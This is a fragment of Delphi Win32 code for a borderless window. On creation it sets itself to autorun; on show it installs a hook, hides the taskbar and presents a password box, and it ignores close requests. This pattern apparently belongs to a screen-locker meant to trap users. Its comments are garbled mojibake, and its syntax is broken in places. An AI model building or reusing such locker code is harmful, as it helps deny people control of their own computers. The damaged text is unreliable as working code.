function RegisterMainFrameClass(): Boolean;
begin
with WindowsClass do
begin
style := CS_HREDRAW or CS_VREDRAW; {ˮƽ½»´íºÍÊúÖ±½»´í}
lpfnWndProc := @FrameWinProc; {´°¿Úº¯ÊýFrameWinProc}
cbClsExtra := 0;
cbWndExtra := 0;
hInstance := HInstance; {³ÌÐòʵÀý}
hIcon := LoadIcon(0, IDI_APPLICATION); {¼ÓÔصÄͼ±ê}
hCursor := LoadCursor(0, IDC_ARROW); {¼ÓÔؼýͷͼ±ê}
hbrBackground := COLOR_WINDOW; {´°Ìå±³¾°ÑÕÉ«ÉèÖÃ}
lpszMenuName := nil; {´°Ìå²Ëµ¥(Î&THORN
}
lpszClassName := ClassName; {ˈ̞}
end;
Result := RegisterClass(WindowsClass) <> 0; {×&cent;&sup2;á&acute;°&iquest;&Uacute;&Agrave;à}
end;
function CreateWindow(): HWND;
begin
Result := 0;
if RegisterMainFrameClass() then
Result := CreateWindowEx(0, ClassName, MainWName, WS_POPUPWINDOW or WS_VISIBLE,
0, 0, 0, 0, 0, 0, HInstance, nil);
end;
function FrameWinProc(Handle: HWND; Messages, wParam, lParam: LongInt): LongInt; stdcall;
begin
Result := 0;
case Messages of
WM_COMMAND:
if (HIWORD(WParam) = BN_CLICKED) then
begin
Button_Hander(wParam);
end;
WM_CREATE:
begin
SetAutoRun;
end;
WM_SHOWWINDOW :
begin
EnableHook;
EnableTaskBar(False);
FontHandle := CreateBtnFont();
ButtonHandle := CreateButton(SYS_INTO, Handle, 430, 340, 100, 20, BUTTON_ID);
EditHandle := CreateEdit('', Handle, 430, 300, 100, 20, EDIT_ID);
end;
WM_CLOSE: begin
//
end;
else Result := DefWindowProc(Handle, Messages, wParam, lParam);
end;
end;
function CreateButton(ButtonText: PChar; ParentHandle: HWND; X, Y, Width, Height, ID: Integer): HWND;
begin
Result := CreateWindowEx(0, 'BUTTON', ButtonText, WS_CHILD or WS_VISIBLE or BS_FLAT,
X, Y, Width, Height, ParentHandle, ID, hInstance, nil);
end;
function CreateEdit(EditText: PChar; ParentHandle: HWND; X, Y, Width, Height, ID: Integer): HWND;
begin
Result := CreateWindowEx(0, 'EDIT', EditText, WS_CHILD or
WS_VISIBLE or WS_BORDER or ES_NOHIDESEL or ES_PASSWORD
or ES_LOWERCASE or ES_AUTOHSCROLL
X, Y, Width, Height, ParentHandle, ID, hInstance, nil);
end